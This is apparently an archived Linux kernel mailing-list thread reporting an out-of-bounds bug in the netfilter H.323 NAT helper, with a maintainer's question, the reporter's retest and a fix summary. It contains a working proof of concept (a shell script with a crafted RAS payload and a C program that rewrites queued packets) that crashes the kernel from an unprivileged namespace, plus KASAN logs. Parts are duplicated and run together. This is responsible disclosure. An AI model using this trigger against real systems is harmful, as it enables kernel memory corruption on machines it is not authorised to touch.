queue_cb(const struct nlmsghdr *nlh, void *data){ const struct nlattr *tb[NFQA_MAX + 1] = {}; const struct nfqnl_msg_packet_hdr *ph; struct queued_pkt *pkt = data; mnl_attr_parse(nlh, sizeof(struct nfgenmsg), parse_attr_cb, (void *)tb); if (!tb[NFQA_PACKET_HDR] || !tb[NFQA_PAYLOAD]) return MNL_CB_ERROR; ph = mnl_attr_get_payload(tb[NFQA_PACKET_HDR]); pkt->id = ntohl(ph->packet_id); pkt->payload_len = mnl_attr_get_payload_len(tb[NFQA_PAYLOAD]); pkt->payload = malloc(pkt->payload_len); if (!pkt->payload) { perror("malloc"); exit(1); } memcpy(pkt->payload, mnl_attr_get_payload(tb[NFQA_PAYLOAD]), pkt->payload_len); pkt->ready = true; return MNL_CB_STOP; }static struct nlmsghdr *build_cfg_pf_request(char *buf,
uint8_tcommand){ struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); struct nfgenmsg *nfg; struct nfqnl_msg_config_cmd cmd = { .command = command, .pf = htons(AF_INET), }; nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST; nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg)); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; mnl_attr_put(nlh, NFQA_CFG_CMD, sizeof(cmd), &cmd); return nlh; }static struct nlmsghdr *build_cfg_request(char *buf,
uint8_tcommand,uint16_t queue_num) { struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); struct nfgenmsg *nfg; struct nfqnl_msg_config_cmd cmd = { .command = command, .pf = htons(AF_INET), }; nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST; nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg)); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(queue_num); mnl_attr_put(nlh, NFQA_CFG_CMD, sizeof(cmd), &cmd); return nlh; }static struct nlmsghdr *build_cfg_params(char *buf,
uint8_tmode, int range,uint16_t queue_num) { struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); struct nfgenmsg *nfg; struct nfqnl_msg_config_params params = { .copy_range = htonl(range), .copy_mode = mode, }; nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST; nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg)); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(queue_num); mnl_attr_put(nlh, NFQA_CFG_PARAMS, sizeof(params), ¶ms); return nlh; }static struct nlmsghdr *build_verdict(char *buf, const struct
queued_pkt*pkt,
uint16_tqueue_num,uint32_tverdict){ struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); struct nfgenmsg *nfg; struct nfqnl_msg_verdict_hdr vh = { .verdict = htonl(verdict), .id = htonl(pkt->id), }; nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT; nlh->nlmsg_flags = NLM_F_REQUEST; nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg)); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(queue_num); mnl_attr_put(nlh, NFQA_VERDICT_HDR, sizeof(vh), &vh); mnl_attr_put(nlh, NFQA_PAYLOAD, pkt->payload_len, pkt->payload); return nlh; }static void
mutate_packet(struct queued_pkt *pkt){ struct iphdr *iph; uint8_t *l4; if (pkt->payload_len < sizeof(*iph)) return; iph = (struct iphdr *)pkt->payload; if (iph->version != 4 || iph->ihl < 5) return; if (pkt->payload_len < iph->ihl * 4U + 13) return; l4 = pkt->payload + iph->ihl * 4U; fprintf(stderr, "nfqueue: id=%u len=%u old_proto=%u doff_byte_before=%#x\n", pkt->id, pkt->payload_len, iph->protocol, l4[12]); iph->protocol = IPPROTO_TCP; iph->check = 0; iph->check = ip_checksum(iph, iph->ihl * 4U); fprintf(stderr, "nfqueue: id=%u new_proto=%u doff_byte_after=%#x\n", pkt->id, iph->protocol, l4[12]); }int
main(int argc, char **argv){ struct mnl_socket *nl; char buf[MNL_SOCKET_BUFFER_SIZE]; struct nlmsghdr *nlh; struct queued_pkt pkt = {}; unsigned int portid; uint16_t queue_num = 0; int ret; if (argc > 1) queue_num = (uint16_t)atoi(argv[1]); nl = mnl_socket_open(NETLINK_NETFILTER); if (!nl) { perror("mnl_socket_open"); return 1; } if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { perror("mnl_socket_bind"); return 1; } portid = mnl_socket_get_portid(nl); nlh = build_cfg_pf_request(buf, NFQNL_CFG_CMD_PF_UNBIND); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) perror("PF_UNBIND"); nlh = build_cfg_pf_request(buf, NFQNL_CFG_CMD_PF_BIND); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("PF_BIND"); return 1; } nlh = build_cfg_request(buf, NFQNL_CFG_CMD_BIND, queue_num); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("QUEUE_BIND"); return 1; } nlh = build_cfg_params(buf, NFQNL_COPY_PACKET, 0xffff, queue_num); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("CFG_PARAMS"); return 1; } for (;;) { ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); if (ret < 0) { perror("mnl_socket_recvfrom"); return 1; } ret = mnl_cb_run(buf, ret, 0, portid, queue_cb, &pkt); if (ret < 0) { perror("mnl_cb_run"); return 1; } if (!pkt.ready) continue; mutate_packet(&pkt); nlh = build_verdict(buf, &pkt, queue_num, NF_ACCEPT); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("send verdict"); return 1; } free(pkt.payload); break; } mnl_socket_close(nl); return 0; }------END nfq_mutate.c--------
----BEGIN crash log----
[ 142.557736] [ T1073] BUG: KASAN: out-of-bounds in mangle_contents (../net/netfilter/nf_nat_helper.c:38:2) [ 142.557790] [ T1073] Read of size 18446744073709551564 at addr ffff88810fc8ee9f by task nfq_mutate/1073[ 142.557839] [ T1073] CPU: 1 UID: 1028 PID: 1073 Comm: nfq_mutate Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6 [ 142.557860] [ T1073] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 142.557871] [ T1073] Call Trace: [ 142.557885] [ T1073] <TASK> [ 142.557895] [ T1073] dump_stack_lvl (../lib/dump_stack.c:118:3) [ 142.557963] [ T1073] print_report (../include/linux/mm.h:1903:22 ../mm/kasan/report.c:289:10 ../mm/kasan/report.c:376:22 ../mm/kasan/report.c:482:3) [ 142.558014] [ T1073] ? mangle_contents (../net/netfilter/nf_nat_helper.c:38:2) [ 142.558102] [ T1073] kasan_report (../mm/kasan/report.c:593:2) [ 142.558133] [ T1073] kasan_check_range (../mm/kasan/generic.c:183:10 ../mm/kasan/generic.c:200:9) [ 142.558145] [ T1073] __asan_memmove (../mm/kasan/shadow.c:94:7) [ 142.558163] [ T1073] mangle_contents (../net/netfilter/nf_nat_helper.c:38:2) [ 142.558192] [ T1073] __nf_nat_mangle_tcp_packet (../net/netfilter/nf_nat_helper.c:106:20) [ 142.558209] [ T1073] set_addr (../net/ipv4/netfilter/nf_nat_h323.c:26:1) [ 142.558316] [ T1073] set_ras_addr (../net/ipv4/netfilter/nf_nat_h323.c:166:18) [ 142.558379] [ T1073] ras_help (../net/netfilter/nf_conntrack_h323_main.c:1675:2) [ 142.558565] [ T1073] nf_confirm (../include/linux/skbuff.h:3130:24 ../include/linux/ipv6.h:110:27 ../net/netfilter/nf_conntrack_proto.c:160:10) [ 142.558728] [ T1073] nfqnl_reinject (../include/linux/bitops.h:126:32 ../include/linux/jhash.h:139:3 ../include/linux/rhashtable.h:143:11 ../include/linux/rhashtable.h:153:22 ../include/linux/rhashtable.h:168:9 ../include/linux/rhashtable.h:1058:9 ../include/linux/rhashtable.h:1144:16 ../include/linux/rhashtable.h:1173:9 ../net/netfilter/nfnetlink_queue.c:236:2) [ 142.558746] [ T1073] nfqnl_recv_verdict (../net/netfilter/nfnetlink_queue.c:1539:6) [ 142.559195] [ T1073] netlink_unicast (../include/net/net_namespace.h:419:9 ../include/net/sock.h:713:9 ../net/netlink/af_netlink.c:1260:2 ../net/netlink/af_netlink.c:1269:12 ../net/netlink/af_netlink.c:1359:9) [ 142.559272] [ T1073] netlink_sendmsg (../net/netlink/af_netlink.c:1875:24) [ 142.559350] [ T1073] __sys_sendto (../net/socket.c:790:2 ../net/socket.c:802:16 ../net/socket.c:2265:9) [ 142.559478] [ T1073] __x64_sys_sendto (../net/socket.c:2272:9 ../net/socket.c:2268:1 ../net/socket.c:2268:1) [ 142.559530] [ T1073] do_syscall_64 (../arch/x86/include/asm/entry-common.h:43:3 ../include/linux/irq-entry-common.h:100:2 ../include/linux/entry-common.h:174:2 ../arch/x86/entry/syscall_64.c:89:7) [ 142.559542] [ T1073] entry_SYSCALL_64_after_hwframe (../arch/x86/entry/entry_64.S:121) [ 142.559645] [ T1073] </TASK>[ 142.559796] [ T1073] Allocated by task 1076 on cpu 3 at 142.556120s: [ 142.559809] [ T1073] kasan_save_stack (../mm/kasan/common.c:57:15) [ 142.559833] [ T1073] __kasan_slab_alloc (../mm/kasan/common.c:352:5) [ 142.559844] [ T1073] kmem_cache_alloc_node_noprof (../mm/slub.c:4756:5 ../mm/slub.c:4883:11 ../mm/slub.c:4950:14) [ 142.559876] [ T1073] kmalloc_reserve (../net/core/skbuff.c:613:9) [ 142.559892] [ T1073] __alloc_skb (../net/core/skbuff.c:703:6) [ 142.559905] [ T1073] alloc_skb_with_frags (../net/core/skbuff.c:6730:6) [ 142.559925] [ T1073] sock_alloc_send_pskb (../include/net/sock.h:2117:10 ../net/core/sock.c:2959:14 ../net/core/sock.c:2996:11) [ 142.559942] [ T1073] __ip_append_data (../include/linux/refcount.h:291:3 ../include/linux/refcount.h:312:2 ../net/ipv4/ip_output.c:1277:3) [ 142.559953] [ T1073] ip_make_skb (../net/ipv4/ip_output.c:1583:1) [ 142.559964] [ T1073] udp_sendmsg (../include/linux/rcupdate.h:867:2 ../include/net/l3mdev.h:102:3 ../net/ipv4/udp.c:1387:18)[ 142.560041] [ T1073] The buggy address belongs to the object at ffff88810fc8ed40 which belongs to the cache skbuff_small_head of size 704 [ 142.560059] [ T1073] The buggy address is located 351 bytes inside of704-byte region [
ffff88810fc8ed40,ffff88810fc8f000)[ 142.560245] [ T1073] Memory state around the buggy address: [ 142.560254] [ T1073] ffff88810fc8ed80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560264] [ T1073] ffff88810fc8ee00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560276] [ T1073] >ffff88810fc8ee80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560287] [ T1073] ^ [ 142.560317] [ T1073] ffff88810fc8ef00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560327] [ T1073] ffff88810fc8ef80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 142.560335] [ T1073] ================================================================== [ 142.560397] [ T1073] Disabling lock debugging due to kernel taint-----END crash log-----
Best regards,
Zhiling ZouZhiling Zou (1):
netfilter: h323: keep NAT mangling aligned with parsed transportnet/ipv4/netfilter/nf_nat_h323.c | 9 +++++++-- net/netfilter/nf_conntrack_h323_main.c | 4 ++++ 2 files changed, 11 insertions(+), 2 deletions(-)Signature · 1 line
2.43.0
Quoted 44 lines · Pablo Neira Ayuso
Hi,
Quoted 22 lines · Ren Wei
From: Zhiling Zou <[email protected]>
Hi Linux kernel maintainers,
We found and validated an issue in
net/ipv4/netfilter/nf_nat_h323.candnet/netfilter/nf_conntrack_h323_main.c. The bug is reachable by a non-root user after creating user and net namespaces with namespace-localCAP_NET_ADMIN.We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
H.323 conntrack helpers parse packet payloads according to the helper that is attached to the conntrack entry. RAS parses UDP payloads, while Q.931 and H.245 parse TPKT data from TCP payloads.
Quoted 6 lines
The NAT helper later calls
set_addr()to rewrite addresses embedded in those helper payloads. Before this fix,set_addr()chosenf_nat_mangle_tcp_packet()ornf_nat_mangle_udp_packet()from the packet's current IPv4 protocol byte. A namespace-local packet modifier can rewrite that byte after conntrack has accepted the original layout and before helper processing at the confirm hook.You assume IPv4 protocol byte has been updated, and you provide an example utility for nfqueue.
But we have already restricted this:
commit
54f34607d184c1cc056c59a5b3d86d96dd6a515cAuthor: Florian Westphal <[email protected]> Date: Tue Jun 9 13:51:53 2026 +0200netfilter:
nfnetlink_queue: restrict writes to network header
Quoted 7 lines
commit
df07998dfd40796a05fff7ffea2661ad65ed42a7Author: Florian Westphal <[email protected]> Date: Tue Jun 9 13:51:54 2026 +0200netfilter: nftables: restrict linklayer and network header writes
are you running a kernel with this patches?
Hi Pablo,
I re-tested the PoC on a kernel which already contains both commits:
54f34607d184 ("netfilter: nfnetlink_queue: restrict writes to network header") df07998dfd40 ("netfilter: nftables: restrict linklayer and network header writes")
The issue still reproduces. The crash is:
BUG: KASAN: out-of-bounds in mangle_contents+0x13a/0x680
and the trace goes through:
mangle_contents()__nf_nat_mangle_tcp_packet()set_addr()set_ras_addr()ras_help()nfqnl_recv_verdict()
So these commits do not seem to block this NFQUEUE/H.323 NAT mangling path.
Quoted 513 lines
Quoted 513 lines
This makes the parser and NAT mangler use different transport-header bases. The PoC attaches the RAS helper to a UDP conntrack, queues the packet, changes the IPv4 protocol byte to TCP, and reinjects it.
ras_help()still parses the address relative to the UDP payload, butset_addr()uses the TCP mangler and a forged TCP data offset. The NAT match offset then points pastskb->tailand KASAN reports an out-of-bounds access inmangle_contents().There is a second edge case on the H.245 helper path. The H.245 helper is registered with
IPPROTO_UDP, buth245_help()parses TPKT/TCP data and uses the TCP doff as its base. Userspace can bind the registered H.245 helper to a UDP conntrack with nftables. If NAT then selected the mangler only from the UDP tuple, the same parser/mangler base mismatch would remain reachable.The fix selects the NAT mangler from
nf_ct_protonum(ct), the stable protocol stored in the conntrack tuple, instead of the mutable IPv4 protocol byte. It also ignores H.245 helper invocations on non-TCP conntracks before the TCP parser can feed offsets to NAT.Reproducer:
./poc.shFor user namespace reproduction:
unshare -Urn sh -c ' cd /path/to/reproducer && ./poc.sh 'We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -euDIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) IPT=${IPT:-/usr/sbin/iptables-legacy} IP=${IP:-/usr/sbin/ip} XTABLES_LOCKFILE=${XTABLES_LOCKFILE:-${DIR}/xtables.lock} export
XTABLES_LOCKFILEQUEUE_NUM=${QUEUE_NUM:-0} SRC_IP=${SRC_IP:-10.0.0.1} NAT_IP=${NAT_IP:-10.0.0.3} DST_IP=${DST_IP:-10.0.0.2} SRC_PORT=${SRC_PORT:-40000} DST_PORT=${DST_PORT:-1719}
DEV=${DEV:-tun0}
NFQ_PID=cleanup() { if [ -n "${NFQ_PID}" ]; then kill "${NFQ_PID}" 2>/dev/null || true wait "${NFQ_PID}" 2>/dev/null || true fi ${IPT} -t raw -D OUTPUT -p udp --dport "${DST_PORT}" -j CT --helper RAS 2>/dev/null || true ${IPT} -t mangle -D OUTPUT -p udp --dport "${DST_PORT}" -j NFQUEUE --queue-num "${QUEUE_NUM}" 2>/dev/null || true ${IPT} -t nat -D POSTROUTING -o "${DEV}" -j SNAT --to-source "${NAT_IP}" 2>/dev/null || true ${IP} link del "${DEV}" 2>/dev/null || true }trap cleanup EXIT INT TERM
if [ "$(id -u)" != "0" ]; then
echo "run as root or as uid 0 inside a user namespace" >&2 exit 1
fi${IP} link del "${DEV}" 2>/dev/null || true
${IP} tuntap add dev "${DEV}" mode tun user root
${IP} addr add "${SRC_IP}/24" dev "${DEV}"
${IP} addr add "${NAT_IP}/24" dev "${DEV}"
${IP} link set "${DEV}" up
${IP} route replace "${DST_IP}/32" dev "${DEV}"${IPT} -t raw -A OUTPUT -p udp --dport "${DST_PORT}" -j CT --helper RAS
${IPT} -t mangle -A OUTPUT -p udp --dport "${DST_PORT}" -j NFQUEUE --queue-num "${QUEUE_NUM}" ${IPT} -t nat -A POSTROUTING -o "${DEV}" -j SNAT --to-source "${NAT_IP}""${DIR}/nfq_mutate" "${QUEUE_NUM}" &
NFQ_PID=$!
sleep 1python3 - <<'PY'
from ipaddress import IPv4Address
import os
import socket
src_ip=os.environ.get("SRC_IP", "10.0.0.1")dst_ip=os.environ.get("DST_IP", "10.0.0.2")src_port=int(os.environ.get("SRC_PORT", "40000"))dst_port=int(os.environ.get("DST_PORT", "1719"))class BW:
def__init__(self):
self.bits = []def
bit(self, value):
self.bits.append(1 if value else 0)def
bitsv(self, value, nbits):
for shift inrange(nbits - 1, -1, -1):
self.bits.append((value >> shift) & 1)def align(self):
while len(self.bits) % 8:
self.bits.append(0)def
bytes(self, data):
self.align()
for byte in data:
self.bitsv(byte, 8)def out(self):
self.align()
out =bytearray()
for i inrange(0, len(self.bits), 8):
value = 0
for bit in self.bits[i:i + 8]:
value = (value << 1) | bit
out.append(value)
return bytes(out)bw =
BW()# RasMessage ::= locationRequest
bw.bit(0)bw.bitsv(18, 5)# LocationRequest root: endpointIdentifier present, nonStandardData absent.
bw.bit(0)bw.bitsv(0b10, 2)bw.align()# requestSeqNum
bw.bytes((1).to_bytes(2, "big"))# endpointIdentifier: 121 UTF-16 code units. Byte 4 becomes
0xf0, which the# later TCP interpretation uses as a fake data offset. bw.bitsv(120, 7) bw.align() bw.bytes(b"A\x00" * 121)# destinationInfo: empty
bw.align()bw.bytes(b"\x00")# replyAddress ::= ipAddress { ip, port }
bw.bit(0)bw.bitsv(0, 3)bw.align()
bw.bytes(IPv4Address(src_ip).packed)bw.align()bw.bytes(src_port.to_bytes(2, "big"))payload =
bw.out()print(f"payload_len={len(payload)} payload4={payload[4]:#x}")s =
socket.socket(socket.AF_INET, socket.SOCK_DGRAM)s.bind((src_ip, src_port))s.sendto(payload, (dst_ip, dst_port))
PYwait "${NFQ_PID}"
------END poc.sh--------
------BEGIN nfq_mutate.c------
#define
_GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <libmnl/libmnl.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <netinet/ip.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>struct queued_pkt { uint32_t id; uint8_t *payload; uint32_t payload_len; bool ready; };static
uint16_tip_checksum(void *buf, size_t len){ uint32_t sum = 0; uint16_t *p = buf; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(uint8_t *)p; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return ~sum; }static int
parse_attr_cb(const struct nlattr *attr, void *data){ const struct nlattr **tb = data; int type = mnl_attr_get_type(attr); if (mnl_attr_type_valid(attr, NFQA_MAX) < 0) return MNL_CB_OK; switch (type) { case NFQA_PACKET_HDR: if (mnl_attr_validate2(attr, MNL_TYPE_UNSPEC, sizeof(struct nfqnl_msg_packet_hdr)) < 0) return MNL_CB_ERROR; break; case NFQA_PAYLOAD: break; default: break; } tb[type] = attr; return MNL_CB_OK; }static int
queue_cb(const struct nlmsghdr *nlh, void *data){ const struct nlattr *tb[NFQA_MAX + 1] = {}; const struct nfqnl_msg_packet_hdr *ph; struct queued_pkt *pkt = data; mnl_attr_parse(nlh, sizeof(struct nfgenmsg), parse_attr_cb, (void *)tb); if (!tb[NFQA_PACKET_HDR] || !tb[NFQA_PAYLOAD]) return MNL_CB_ERROR; ph = mnl_attr_get_payload(tb[NFQA_PACKET_HDR]); pkt->id = ntohl(ph->packet_id); pkt->payload_len = mnl_attr_get_payload_len(tb[NFQA_PAYLOAD]); pkt->payload = malloc(pkt->payload_len); if (!pkt->payload) { perror("malloc"); exit(1); } memcpy(pkt->payload, mnl_attr_get_payload(tb[NFQA_PAYLOAD]), pkt->payload_len); pkt->ready = true; return MNL_CB_STOP; }static struct nlmsghdr *build_cfg_pf_request(char *buf,
uint8_tcommand){ struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); struct nfgenmsg *nfg; struct nfqnl_msg_config_cmd cmd = { .command = command, .pf = htons(AF_INET), }; nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST; nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg)); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; mnl_attr_put(nlh, NFQA_CFG_CMD, sizeof(cmd), &cmd); return nlh; }static struct nlmsghdr *build_cfg_request(char *buf,
uint8_tcommand,uint16_t queue_num) { struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); struct nfgenmsg *nfg; struct nfqnl_msg_config_cmd cmd = { .command = command, .pf = htons(AF_INET), }; nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST; nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg)); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(queue_num); mnl_attr_put(nlh, NFQA_CFG_CMD, sizeof(cmd), &cmd); return nlh; }static struct nlmsghdr *build_cfg_params(char *buf,
uint8_tmode, int range,uint16_t queue_num) { struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); struct nfgenmsg *nfg; struct nfqnl_msg_config_params params = { .copy_range = htonl(range), .copy_mode = mode, }; nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG; nlh->nlmsg_flags = NLM_F_REQUEST; nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg)); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(queue_num); mnl_attr_put(nlh, NFQA_CFG_PARAMS, sizeof(params), ¶ms); return nlh; }static struct nlmsghdr *build_verdict(char *buf, const struct
queued_pkt*pkt,
uint16_tqueue_num,uint32_tverdict){ struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); struct nfgenmsg *nfg; struct nfqnl_msg_verdict_hdr vh = { .verdict = htonl(verdict), .id = htonl(pkt->id), }; nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT; nlh->nlmsg_flags = NLM_F_REQUEST; nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg)); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(queue_num); mnl_attr_put(nlh, NFQA_VERDICT_HDR, sizeof(vh), &vh); mnl_attr_put(nlh, NFQA_PAYLOAD, pkt->payload_len, pkt->payload); return nlh; }static void
mutate_packet(struct queued_pkt *pkt){ struct iphdr *iph; uint8_t *l4; if (pkt->payload_len < sizeof(*iph)) return; iph = (struct iphdr *)pkt->payload; if (iph->version != 4 || iph->ihl < 5) return; if (pkt->payload_len < iph->ihl * 4U + 13) return; l4 = pkt->payload + iph->ihl * 4U; fprintf(stderr, "nfqueue: id=%u len=%u old_proto=%u doff_byte_before=%#x\n", pkt->id, pkt->payload_len, iph->protocol, l4[12]); iph->protocol = IPPROTO_TCP; iph->check = 0; iph->check = ip_checksum(iph, iph->ihl * 4U); fprintf(stderr, "nfqueue: id=%u new_proto=%u doff_byte_after=%#x\n", pkt->id, iph->protocol, l4[12]); }int
main(int argc, char **argv){ struct mnl_socket *nl; char buf[MNL_SOCKET_BUFFER_SIZE]; struct nlmsghdr *nlh; struct queued_pkt pkt = {}; unsigned int portid; uint16_t queue_num = 0; int ret; if (argc > 1) queue_num = (uint16_t)atoi(argv[1]); nl = mnl_socket_open(NETLINK_NETFILTER); if (!nl) { perror("mnl_socket_open"); return 1; } if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { perror("mnl_socket_bind"); return 1; } portid = mnl_socket_get_portid(nl); nlh = build_cfg_pf_request(buf, NFQNL_CFG_CMD_PF_UNBIND); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) perror("PF_UNBIND"); nlh = build_cfg_pf_request(buf, NFQNL_CFG_CMD_PF_BIND); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("PF_BIND"); return 1; } nlh = build_cfg_request(buf, NFQNL_CFG_CMD_BIND, queue_num); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("QUEUE_BIND"); return 1; } nlh = build_cfg_params(buf, NFQNL_COPY_PACKET, 0xffff, queue_num); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("CFG_PARAMS"); return 1; } for (;;) { ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); if (ret < 0) { perror("mnl_socket_recvfrom"); return 1; } ret = mnl_cb_run(buf, ret, 0, portid, queue_cb, &pkt); if (ret < 0) { perror("mnl_cb_run"); return 1; } if (!pkt.ready) continue; mutate_packet(&pkt); nlh = build_verdict(buf, &pkt, queue_num, NF_ACCEPT); if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { perror("send verdict"); return 1; } free(pkt.payload); break; } mnl_socket_close(nl); return 0; }------END nfq_mutate.c--------
----BEGIN crash log----
[ 142.557736] [ T1073] BUG: KASAN: out-of-bounds in mangle_contents (../net/netfilter/nf_nat_helper.c:38:2) [ 142.557790] [ T1073] Read of size 18446744073709551564 at addr ffff88810fc8ee9f by task nfq_mutate/1073[ 142.557839] [ T1073] CPU: 1 UID: 1028 PID: 1073 Comm: nfq_mutate Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6 [ 142.557860] [ T1073] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 142.557871] [ T1073] Call Trace: [ 142.557885] [ T1073] <TASK> [ 142.557895] [ T1073] dump_stack_lvl (../lib/dump_stack.c:118:3) [ 142.557963] [ T1073] print_report (../include/linux/mm.h:1903:22 ../mm/kasan/report.c:289:10 ../mm/kasan/report.c:376:22 ../mm/kasan/report.c:482:3) [ 142.558014] [ T1073] ? mangle_contents (../net/netfilter/nf_nat_helper.c:38:2) [ 142.558102] [ T1073] kasan_report (../mm/kasan/report.c:593:2) [ 142.558133] [ T1073] kasan_check_range (../mm/kasan/generic.c:183:10 ../mm/kasan/generic.c:200:9) [ 142.558145] [ T1073] __asan_memmove (../mm/kasan/shadow.c:94:7) [ 142.558163] [ T1073] mangle_contents (../net/netfilter/nf_nat_helper.c:38:2) [ 142.558192] [ T1073] __nf_nat_mangle_tcp_packet (../net/netfilter/nf_nat_helper.c:106:20) [ 142.558209] [ T1073] set_addr (../net/ipv4/netfilter/nf_nat_h323.c:26:1) [ 142.558316] [ T1073] set_ras_addr (../net/ipv4/netfilter/nf_nat_h323.c:166:18) [ 142.558379] [ T1073] ras_help (../net/netfilter/nf_conntrack_h323_main.c:1675:2) [ 142.558565] [ T1073] nf_confirm (../include/linux/skbuff.h:3130:24 ../include/linux/ipv6.h:110:27 ../net/netfilter/nf_conntrack_proto.c:160:10) [ 142.558728] [ T1073] nfqnl_reinject (../include/linux/bitops.h:126:32 ../include/linux/jhash.h:139:3 ../include/linux/rhashtable.h:143:11 ../include/linux/rhashtable.h:153:22 ../include/linux/rhashtable.h:168:9 ../include/linux/rhashtable.h:1058:9 ../include/linux/rhashtable.h:1144:16 ../include/linux/rhashtable.h:1173:9 ../net/netfilter/nfnetlink_queue.c:236:2) [ 142.558746] [ T1073] nfqnl_recv_verdict (../net/netfilter/nfnetlink_queue.c:1539:6) [ 142.559195] [ T1073] netlink_unicast (../include/net/net_namespace.h:419:9 ../include/net/sock.h:713:9 ../net/netlink/af_netlink.c:1260:2 ../net/netlink/af_netlink.c:1269:12 ../net/netlink/af_netlink.c:1359:9) [ 142.559272] [ T1073] netlink_sendmsg (../net/netlink/af_netlink.c:1875:24) [ 142.559350] [ T1073] __sys_sendto (../net/socket.c:790:2 ../net/socket.c:802:16 ../net/socket.c:2265:9) [ 142.559478] [ T1073] __x64_sys_sendto (../net/socket.c:2272:9 ../net/socket.c:2268:1 ../net/socket.c:2268:1) [ 142.559530] [ T1073] do_syscall_64 (../arch/x86/include/asm/entry-common.h:43:3 ../include/linux/irq-entry-common.h:100:2 ../include/linux/entry-common.h:174:2 ../arch/x86/entry/syscall_64.c:89:7) [ 142.559542] [ T1073] entry_SYSCALL_64_after_hwframe (../arch/x86/entry/entry_64.S:121) [ 142.559645] [ T1073] </TASK>[ 142.559796] [ T1073] Allocated by task 1076 on cpu 3 at 142.556120s: [ 142.559809] [ T1073] kasan_save_stack (../mm/kasan/common.c:57:15) [ 142.559833] [ T1073] __kasan_slab_alloc (../mm/kasan/common.c:352:5) [ 142.559844] [ T1073] kmem_cache_alloc_node_noprof (../mm/slub.c:4756:5 ../mm/slub.c:4883:11 ../mm/slub.c:4950:14) [ 142.559876] [ T1073] 